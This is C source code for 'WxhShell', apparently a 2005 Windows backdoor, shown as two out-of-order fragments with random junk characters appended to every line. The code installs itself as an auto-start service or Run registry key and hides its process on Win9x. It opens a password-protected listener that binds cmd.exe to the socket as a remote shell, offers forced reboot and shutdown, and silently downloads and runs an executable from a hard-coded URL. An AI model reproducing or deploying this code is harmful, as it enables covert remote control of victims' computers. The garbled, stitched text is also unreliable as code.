    ExitThread(0); *6VF $/rP  
    } fZoHf\B]{  
    break; jbAx;Xt'=M  
    } OynXkH]0T+  
  // 关机 <[-nF"Q  
  case 'd': { pS:4CNI{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o,)?!{k}  
    if(Boot(SHUTDOWN)) <*qnY7c&N;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #?S^kM-0  
    else { 6ZP"p<xX  
    closesocket(wsh); Q637N|01  
    ExitThread(0); `G}TG(  
    } (=om,g}  
    break; _WRFsDZ'  
    } B\XKw'   
  // 获取shell xU4 +|d  
  case 's': { z*!%g[3I  
    CmdShell(wsh); S Em Q@1  
    closesocket(wsh);  bJX)$G  
    ExitThread(0); J|qZ+A[z  
    break; ax<?GjpM  
  } LA}S yt\F  
  // 退出 9@Jtaq>jf  
  case 'x': { Hhcpp7cr'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rp ;b" q  
    CloseIt(wsh); }F#okU  
    break; ,Pdf,2  
    } uo@n(>}EL  
  // 离开 '2 PF  
  case 'q': { fR(d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uc){+'[  
    closesocket(wsh); 3R.W >U  
    WSACleanup(); : qd`zG3  
    exit(1); JPoN&BTCj  
    break; ~=uWD&5B4  
        } ,Vt/(x-  
  } 1ng!G 7g  
  } ?j"KV_  
?B2] -+Y  
  // 提示信息 Gz,i~XX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {?:X8&Sf  
} Hl{S]]z  
  } iT2B'QI=<  
 J4f i'  
  return; ,[P{HrHx  
} hpO`]  
[PNT\ElT  
// shell模块句柄 ?#}N1k\S  
int CmdShell(SOCKET sock) 5\]Sv]s)R  
{ xdp`<POn%  
STARTUPINFO si; R#%(5-Zu#R  
ZeroMemory(&si,sizeof(si)); 6\g cFfo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YQj2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @$[?z9ck"  
PROCESS_INFORMATION ProcessInfo; NQJq6S4@  
char cmdline[]="cmd"; [OC5l>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E2R&[Q"%  
  return 0; 6ZP(E^.  
} LG9+y  
jIC_[  
// 自身启动模式 %C| n9*  
int StartFromService(void) '"SEw w  
{ l`#4KCL(  
typedef struct pKpUXfQu  
{ X-K=!pET  
  DWORD ExitStatus; w n/_}]T  
  DWORD PebBaseAddress; L~lxXTG\  
  DWORD AffinityMask; >\KNM@'KI  
  DWORD BasePriority; u{['<r;I  
  ULONG UniqueProcessId; RI(DXWM|h  
  ULONG InheritedFromUniqueProcessId; 9]f!'d!5  
}   PROCESS_BASIC_INFORMATION; tX_R_]v3  
a7r%X -  
PROCNTQSIP NtQueryInformationProcess; ;f#v0W`5  
PQ5QA61  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }dgfqq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4T|b Cs?e  
kmP]SO?tx  
  HANDLE             hProcess; >=:&D)m"  
  PROCESS_BASIC_INFORMATION pbi; ILEz;D{]   
VVac:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d3 ZdB4L  
  if(NULL == hInst ) return 0; 1w@(5 ^V  
J8uLJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v+46 QK|I&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /:~\5}tW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6e9,PS  
+6HVhoxU#  
  if (!NtQueryInformationProcess) return 0; [>8}J "  
k/#&qC>]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l;R%= P?'F  
  if(!hProcess) return 0;  M+||rct  
q&s3wDl/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,(d) Qg  
Wbr|_W  
  CloseHandle(hProcess); !t$'AoVBq  
r`W)0oxD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EofymAi%  
if(hProcess==NULL) return 0; [^Os kJ4  
*W,]>v0%T  
HMODULE hMod; .}t~'*D  
char procName[255]; ]O+Ma}dxz:  
unsigned long cbNeeded; uki#/GzaO  
+ga k#M"n\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HHDl8lo  
DFZkh^PFd  
  CloseHandle(hProcess); \?[v{WP)  
{C=NUK%?  
if(strstr(procName,"services")) return 1; // 以服务启动 YVQN&|-  
PRu 6xsyA  
  return 0; // 注册表启动 ub^h&= \S  
} ~ $Tkn_w#  
<"{qk2LS1  
// 主模块 Uzz'.K(Mv|  
int StartWxhshell(LPSTR lpCmdLine) rI= v  
{ be]bZ 1f  
  SOCKET wsl; Tl(^  
BOOL val=TRUE; F, W~,y  
  int port=0; "-e \p lKj  
  struct sockaddr_in door; G18F&c~  
sqEI4~514  
  if(wscfg.ws_autoins) Install(); $?Yry. 2  
/oR0+sH]  
port=atoi(lpCmdLine); Dv|#u|iw  
2|3)S`WZl  
if(port<=0) port=wscfg.ws_port; R Q vft  
i6dHrx]:,  
  WSADATA data; "+kL )]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fkuLj%R  
ii[F]sR\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qkt0**\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); = s>T;|  
  door.sin_family = AF_INET; Vq2y4D?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HG^B#yX  
  door.sin_port = htons(port); .{ocV#{s  
jF ^~p9z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { msP{l^%0  
closesocket(wsl); rID#`:Hl-|  
return 1; EN$2,qf  
} K-bD<X  
*W.C7=  
  if(listen(wsl,2) == INVALID_SOCKET) { <;vbsksZeH  
closesocket(wsl); f,h J~  
return 1; h].<t&  
} "$#xK|t  
  Wxhshell(wsl); ;YA(|h<  
  WSACleanup(); |SoCRjuCPM  
}YB*]<]  
return 0; :o|\"3  
\w/yF4,3<w  
} `IP/d  
+ln9c  
// 以NT服务方式启动 ^V?<K.F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^8 zR  
{ [$qyF|/K`n  
DWORD   status = 0; v25R_""~  
  DWORD   specificError = 0xfffffff; 4" Cb/y3  
;nep5!s;<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "fG8?)d;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n!YKz"$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hBS.a6u1'd  
  serviceStatus.dwWin32ExitCode     = 0; f%SZg!+t  
  serviceStatus.dwServiceSpecificExitCode = 0; [b 6R%  
  serviceStatus.dwCheckPoint       = 0; 1pt%Kw*@j  
  serviceStatus.dwWaitHint       = 0; {K+i cTL3  
(KFCs^x7wG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C<NLE-  
  if (hServiceStatusHandle==0) return; iX0i2ek  
\]</w5 Pi,  
status = GetLastError(); f$+,HB  
  if (status!=NO_ERROR) 9{RB{<Se!  
{ S)cLW~=z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I9/W;# *~  
    serviceStatus.dwCheckPoint       = 0; ?{/4b:ua  
    serviceStatus.dwWaitHint       = 0; / : L?~  
    serviceStatus.dwWin32ExitCode     = status; u?4:H=;>  
    serviceStatus.dwServiceSpecificExitCode = specificError; d:#yEC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _2h S";K  
    return; ti5mIW\  
  } GC>e26\:  
2Z-ljD&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s8ywKTR-  
  serviceStatus.dwCheckPoint       = 0; LgKaPg$  
  serviceStatus.dwWaitHint       = 0; _Tf4WFu2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \#f <!R4  
} UYk/v]ZA  
ZvNJ^Xz  
// 处理NT服务事件,比如:启动、停止 /35R u}c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4i6q{BeHn  
{ G}:w@}h/  
switch(fdwControl) p~SClaR3H  
{ RTE8Uq36  
case SERVICE_CONTROL_STOP: RP~|PtLw_  
  serviceStatus.dwWin32ExitCode = 0; tmv&U;0Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (pY 7J  
  serviceStatus.dwCheckPoint   = 0; @Fluc,Il  
  serviceStatus.dwWaitHint     = 0;  `7 vHt`  
  { B|R@5mjm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xAK6pDp  
  } !j:9`XD|  
  return; ,I7E[LU  
case SERVICE_CONTROL_PAUSE: M^O2\G#B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *C5R}9O5  
  break; isQ[ Gc!8  
case SERVICE_CONTROL_CONTINUE: !B\R''J5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [Yo,*,y31  
  break; brW :C? }  
case SERVICE_CONTROL_INTERROGATE: d@ i}-;  
  break; }j^i}^Du,  
}; N9jH\0nG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kddZZA3`  
} 7Nk!1s :  
]ro*G"-_1#  
// 标准应用程序主函数 '_GrD>P)-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VRI0W`  
{ Jbjmv: db  
[Grxw[(_:  
// 获取操作系统版本 Fgp]l2*  
OsIsNt=GetOsVer(); mp=z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v{(^1cX  
7uKNd *%  
  // 从命令行安装 R$ q; !  
  if(strpbrk(lpCmdLine,"iI")) Install(); X WUWY  
/LvRP yj@  
  // 下载执行文件 jE}33"  
if(wscfg.ws_downexe) { &^#VN%{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C1 jHz  
  WinExec(wscfg.ws_filenam,SW_HIDE); /DK"QV!]s  
} qHuZcht  
+?:7O=Y  
if(!OsIsNt) { z`!XhU  
// 如果时win9x,隐藏进程并且设置为注册表启动 JBi*P.79^  
HideProc(); V#XppYU  
StartWxhshell(lpCmdLine); 7[> 6i  
} F ~^Jmp7Y  
else qyF{f8pzq  
  if(StartFromService()) luo   
  // 以服务方式启动 vd [}Gd  
  StartServiceCtrlDispatcher(DispatchTable); jFASX2.p  
else S<VSn}vn  
  // 普通方式启动 ?$*SjZt  
  StartWxhshell(lpCmdLine);  1Md  
VtnRgdJ  
return 0; `+o 2DA)#(  
} cl]Mi "3_  
[U5\bX@$  
kS_(wp A  
AyNI$Q6Z  
=========================================== Oy%''+g   
M-1ngI0H;  
P>s[tM  
!ePr5On  
x[$z({Yf  
)2bvQy8K  
" 4x  
(#Wu# F1;  
#include <stdio.h> /W>iJfx  
#include <string.h> $oj:e?8N  
#include <windows.h> #~7ip\Uf[  
#include <winsock2.h> zG ^$"f2  
#include <winsvc.h> P(H8[,  
#include <urlmon.h> 7* yzEM  
*~t6(v?  
#pragma comment (lib, "Ws2_32.lib") 4)@mSSfn.  
#pragma comment (lib, "urlmon.lib") Y8m1M-#w  
.#rJ+.2  
#define MAX_USER   100 // 最大客户端连接数 K('hC)1  
#define BUF_SOCK   200 // sock buffer 7J EbH?lEN  
#define KEY_BUFF   255 // 输入 buffer E^vJ@O  
wN;^[F  
#define REBOOT     0   // 重启 .}OR  
#define SHUTDOWN   1   // 关机 M}yDXJx  
r[4tPk  
#define DEF_PORT   5000 // 监听端口 M%ICdIc'  
` :o4'CG  
#define REG_LEN     16   // 注册表键长度 77\] B  
#define SVC_LEN     80   // NT服务名长度 I aGq]z  
LIcM3_.  
// 从dll定义API [R=yF ~-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iV&6nh(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x4E7X_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )n2 re?S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %Z):>'  
| #47O  
// wxhshell配置信息 {u#;?u=|  
struct WSCFG { +kzo*zW$L  
  int ws_port;         // 监听端口 -Z 4e.ay5  
  char ws_passstr[REG_LEN]; // 口令 555XCWyrC  
  int ws_autoins;       // 安装标记, 1=yes 0=no DNr@u/>vB  
  char ws_regname[REG_LEN]; // 注册表键名 M luVx'  
  char ws_svcname[REG_LEN]; // 服务名 :cF[(i/k4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dpl A?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .P[ _<8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 thifRd$4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :_g$.h%%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4lKq{X5<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?QFpv #4  
[n \2  
}; ]Q>.HH  
uI1 q>[  
// default Wxhshell configuration `< xn8h9p  
struct WSCFG wscfg={DEF_PORT, "|qqUKJZ  
    "xuhuanlingzhe", nlW +.a[  
    1, 7ccO93Mz  
    "Wxhshell", j2QmxTa!  
    "Wxhshell", 3E!|<q$ z  
            "WxhShell Service", 1Cv-  
    "Wrsky Windows CmdShell Service", z([ v%zf  
    "Please Input Your Password: ", 7f0lQ  
  1, 3'cE\u  
  "http://www.wrsky.com/wxhshell.exe", ]pH-2_  
  "Wxhshell.exe" 23Nw!6S  
    }; ;\14b?TUH  
]x(e&fyHB  
// 消息定义模块  |8My42yf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D ,o}el  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5h Q E4/hH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PH+S};Uxv  
char *msg_ws_ext="\n\rExit."; B{'( L |  
char *msg_ws_end="\n\rQuit."; VJickXA  
char *msg_ws_boot="\n\rReboot..."; {<R2UI5m5  
char *msg_ws_poff="\n\rShutdown..."; 8,? h~prc  
char *msg_ws_down="\n\rSave to "; 'VzP};  
 UA48Ug  
char *msg_ws_err="\n\rErr!"; *>n;SuT_  
char *msg_ws_ok="\n\rOK!"; =;2%a(  
MP_ ~<Q  
char ExeFile[MAX_PATH]; Y@N,qHtz  
int nUser = 0; SqEgn}m$  
HANDLE handles[MAX_USER]; "1 L$|  
int OsIsNt; 0n;< ge&~R  
;"dV"W  
SERVICE_STATUS       serviceStatus; -f%'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q*_/to  
a&c6.#E{y  
// 函数声明 <{V(.=11  
int Install(void); Mxyb5h  
int Uninstall(void); 3?V_BUoON  
int DownloadFile(char *sURL, SOCKET wsh); c'%-jG)\  
int Boot(int flag); nxWY7hU  
void HideProc(void); 4^WpS/#4  
int GetOsVer(void); E\as@pqo\p  
int Wxhshell(SOCKET wsl); YjxF}VI~<  
void TalkWithClient(void *cs); /OLFcxEWh  
int CmdShell(SOCKET sock); cx&>#8s&  
int StartFromService(void); lku[dQdk  
int StartWxhshell(LPSTR lpCmdLine); =g9*UzA"O  
|=`~-i2W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $$ Oey)*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aMWmLpv4'  
q7_ m&-0)  
// 数据结构和表定义 ew#B [[  
SERVICE_TABLE_ENTRY DispatchTable[] = xv(9IEjt0  
{ pTPi@SBaP{  
{wscfg.ws_svcname, NTServiceMain}, lI*o@wQg  
{NULL, NULL} !F A]  
}; y\Ic@-aWI  
m1B+31'>^  
// 自我安装 :N4t49i  
int Install(void) LBM ^9W  
{ nbm&wa[  
  char svExeFile[MAX_PATH]; 1FlX'[vh  
  HKEY key; V^3L3|k  
  strcpy(svExeFile,ExeFile); r'^Hg/Jzt  
6kpg+{;  
// 如果是win9x系统,修改注册表设为自启动 * w?N{.  
if(!OsIsNt) { 'EbWFMjy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jQ2Ot<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u%}nw :>  
  RegCloseKey(key); e1%/26\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fGUE<l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >O*IQ[r-  
  RegCloseKey(key); Cs9.&Y  
  return 0; 8u6:=fxb  
    } jcuB  
  } k5:G-BQ:  
} 9 Vkb>yFX'  
else { 'p> Ra/4  
mZSD(  
// 如果是NT以上系统,安装为系统服务 sf)EMh3Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fZ0M%f  
if (schSCManager!=0) =G7m)!  
{ Si8pzd  
  SC_HANDLE schService = CreateService -I8=T]_D  
  ( $*e2YQdLo  
  schSCManager, 7 n8"/0kc:  
  wscfg.ws_svcname, AK'[c+2[  
  wscfg.ws_svcdisp, W-mQjJ`,B  
  SERVICE_ALL_ACCESS, B:'J `M"N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0AZ")<^~7  
  SERVICE_AUTO_START, ZCmgs4W!  
  SERVICE_ERROR_NORMAL, w_.F' E  
  svExeFile, mq@6Q\Z+  
  NULL, ,]9P{k]O  
  NULL, pT=JP> nd^  
  NULL, NW]Lj >0Y  
  NULL, W42 iu"@  
  NULL S2HcG 1J  
  ); (;T^8mI2  
  if (schService!=0) hQYL`Dni  
  { D{GfL ib"U  
  CloseServiceHandle(schService); \MyLc/Gh5  
  CloseServiceHandle(schSCManager); 9s\A\$("l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }>>1<P<8-  
  strcat(svExeFile,wscfg.ws_svcname); L2\#w<d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]V^iN=(_5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "I3@m%qv  
  RegCloseKey(key); $"+djI?E9  
  return 0; A\4D79>x  
    } -ws? "_w  
  } #.rdQ,)<  
  CloseServiceHandle(schSCManager); ojaws+(& y  
} >_[ 9t  
} yA)/Q Yge  
Y<N5# );f  
return 1; 01wX`"I  
} aI P  
EMY/~bQW  
// 自我卸载 t| g4m[kr  
int Uninstall(void) f(/lLgI(  
{ 6 Q%jA7  
  HKEY key; fObg3S92  
v- 2:(I V  
if(!OsIsNt) { nV"~-On  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CAfGH!l!  
  RegDeleteValue(key,wscfg.ws_regname); ((H^2KJn  
  RegCloseKey(key); u(@$a4z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '))0Lh l  
  RegDeleteValue(key,wscfg.ws_regname); zd2)M@  
  RegCloseKey(key); pmuvg6@h  
  return 0; ~ksi</s  
  } 6n,i0W  
} |:nn>E}ZA/  
} ff]6aR/ UQ  
else { !hJ+Lp_  
5eLtCsHz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JZ)RGSG i  
if (schSCManager!=0) )#?"Gjf~  
{ |n2qVR,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PQy4{0 _  
  if (schService!=0) T -.%  
  { Bal$+S  
  if(DeleteService(schService)!=0) { ;Y 00TGU  
  CloseServiceHandle(schService); 2^r <{0@n  
  CloseServiceHandle(schSCManager); 6</xL9#/  
  return 0; ]OM"ZG/^  
  } GZEc l'h*  
  CloseServiceHandle(schService); fT;s-v[`k  
  } nEJq_  
  CloseServiceHandle(schSCManager); ,f~J`3(&  
} "sS}N%!  
} 1Ir21un  
I3a NFa}  
return 1; 6Y^23W F  
} nr95YSH  
<f ZyAa3}  
// 从指定url下载文件 PRx8I .  
int DownloadFile(char *sURL, SOCKET wsh) 2<i!{;u$qL  
{ ND'E8Ke pq  
  HRESULT hr; BL0 {HV!  
char seps[]= "/"; t_o['F  
char *token; _dqzB$JV  
char *file; ~5NXd)2+Ks  
char myURL[MAX_PATH]; Z/W:97M  
char myFILE[MAX_PATH]; x3hB5p$q  
\K5DOM "#  
strcpy(myURL,sURL); 8L, 5Q9 $  
  token=strtok(myURL,seps); MV5_L3M  
  while(token!=NULL) )F}F_Y  
  { Lb!Fcf|h  
    file=token; X$HIVxyq2  
  token=strtok(NULL,seps); ( Z619w  
  } >=qf/K +#  
fa-IhB1!K  
GetCurrentDirectory(MAX_PATH,myFILE); qB~rQPa  
strcat(myFILE, "\\"); ,kiv>{  
strcat(myFILE, file); `nUXDmdwzO  
  send(wsh,myFILE,strlen(myFILE),0); ),0g~'I~D  
send(wsh,"...",3,0); d?ex,f.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @:j}Jmg  
  if(hr==S_OK) R_ B7EP  
return 0; B~6&{7 xc%  
else |9uOUE  
return 1; ?Y$JWEPJ  
?iw!OoZ`  
} o m^0}$V  
 ]3x?  
// 系统电源模块 \9cbI3rGz  
int Boot(int flag) ERUz3mjA/  
{ !02`t4Zc-  
  HANDLE hToken; ~Y`ldL  
  TOKEN_PRIVILEGES tkp; .7Dtm<K#  
Dl<bnx;0  
  if(OsIsNt) { @D.}\(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lAS#874dE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9Z|jxy  
    tkp.PrivilegeCount = 1; 44gPCW,u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cA2V2S)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); - \ 5v^l  
if(flag==REBOOT) { O@tU.5*$5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RM]\+BK  
  return 0; fFMlDg[];  
} 2L:_rR#w  
else { `[z<4"Os   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KT_!d*  
  return 0; PxTwPl  
} v]'ztFA  
  } /'Ass(=6  
  else { |v`AA?@{8  
if(flag==REBOOT) { } K7#Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GD&uQ`Y5  
  return 0; _64A( U  
} Za/-i"U  
else { 'vVQg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bENdMH";  
  return 0; bZ?v-fn\D,  
} $I!XSz"/e  
} _ q(ko/T  
61Bwb]\f/|  
return 1; &SIq2>QA  
} ]jtK I4  
XtXEB<4Z  
// win9x进程隐藏模块 qaqBOHI6G  
void HideProc(void) ]S&&|Fc  
{ i)o2klIkB  
."TxX.&HE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J &o |QG  
  if ( hKernel != NULL ) cW~}:;D4  
  { e h&IPU S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !SC`D])l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bo,_&4?  
    FreeLibrary(hKernel); 7P%%p3  
  } G|[=/>~B  
OPetj.C/a  
return; S$f9m  
} aKV$pC<[o  
+s"hqm  
// 获取操作系统版本 N/[p <  
int GetOsVer(void) #=D) j  
{ :<ka3<0%  
  OSVERSIONINFO winfo; <vnHz?71c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &LmJ!^#  
  GetVersionEx(&winfo); 4ae`pAu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?# Mr  
  return 1; 2`AY~i9  
  else ucuSe!IcX  
  return 0; CHdX;'`*  
} aC^\(wp[  
K#l:wH _  
// 客户端句柄模块 _ ?TN;  
int Wxhshell(SOCKET wsl) gMv.V{vD  
{ bo<~jb{  
  SOCKET wsh; q?,).x nN  
  struct sockaddr_in client; o=u3&liBi  
  DWORD myID; ~{*7"o/  
^aIPN5CK  
  while(nUser<MAX_USER) =Ee&da^MB  
{ ~ {?_p@&n  
  int nSize=sizeof(client); n?oW< &  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]fm'ZY&  
  if(wsh==INVALID_SOCKET) return 1; 4]rnY~  
"C?#SO B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BmBj7  
if(handles[nUser]==0) _G_Cj{w  
  closesocket(wsh); lackB2J9 A  
else R7]l{2V#^  
  nUser++; k=2Lo  
  } =31"fS@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *zNYZ#  
#:%&x@@c3P  
  return 0; Q.bXM?V)  
} A_n7w  
pEw"8U  
// 关闭 socket !y#"l$"xK  
void CloseIt(SOCKET wsh) < 3(LWxw  
{ ZjT,pOSyb  
closesocket(wsh); []x#iOnC&  
nUser--; I\hh8abAp  
ExitThread(0); l_3`G-`2  
}  ,t}vz 7  
s|@6S8E  
// 客户端请求句柄 -)s qc P  
void TalkWithClient(void *cs) r}Ohkr  
{ J%8(kWQ|  
Us%T;gW  
  SOCKET wsh=(SOCKET)cs; g6nkZyw  
  char pwd[SVC_LEN]; K7$x<5+)  
  char cmd[KEY_BUFF]; yZd +^QN  
char chr[1]; zFfoqb#*g  
int i,j; R= a|Blp  
liEPCWl&  
  while (nUser < MAX_USER) { O[# 27_dH  
d[r#-h> dS  
if(wscfg.ws_passstr) { 3E7ULK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D@C-5rmq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yh^!'!I6u[  
  //ZeroMemory(pwd,KEY_BUFF); z+x\(/  
      i=0; vVj  
  while(i<SVC_LEN) { BW-`t-,E;  
tv>>l%  
  // 设置超时 H /,gro  
  fd_set FdRead; z|fmrwkN'$  
  struct timeval TimeOut; <Q$@r?Mu]  
  FD_ZERO(&FdRead); r[1i*b$  
  FD_SET(wsh,&FdRead); :WQ^j!9'  
  TimeOut.tv_sec=8; ko1J094Y%  
  TimeOut.tv_usec=0;  0,r}o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EQ2#/>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PiYY6i0  
6\L0mcXR!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k- Q%.o  
  pwd=chr[0]; ot @|!V  
  if(chr[0]==0xd || chr[0]==0xa) { 4B=2>k  
  pwd=0; CPgCjtY  
  break; Yaj0;Lo[wt  
  } INUG*JC6  
  i++; e}mD]O}  
    } K )[]fm  
h"`ucC8X  
  // 如果是非法用户,关闭 socket |}2 3>l7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `(T,+T4C5k  
} v. %R}Pa  
a5 *2h{i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y;nZ=9Sw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c?P?yIz6p  
:iFIQpk  
while(1) { ! N|0x`  
^ K|;~}P  
  ZeroMemory(cmd,KEY_BUFF); %R1tJ(/  
LY6;.d$J  
      // 自动支持客户端 telnet标准   H&F9J ^rC  
  j=0; A01AlK_B  
  while(j<KEY_BUFF) { Ny_lrfh)[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z:ni$7<.  
  cmd[j]=chr[0]; 1[kMOp  
  if(chr[0]==0xa || chr[0]==0xd) { nYWvTvZ  
  cmd[j]=0; whonDG4WP  
  break; @vpf[j  
  } HfcL%b%G8  
  j++; CQwL|$)]Y  
    } G,TM-l_uw  
Fd?"-  
  // 下载文件 17D"cP  
  if(strstr(cmd,"http://")) { !)  S ?m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tcI}Ca>u  
  if(DownloadFile(cmd,wsh)) x2@U.r"zo  
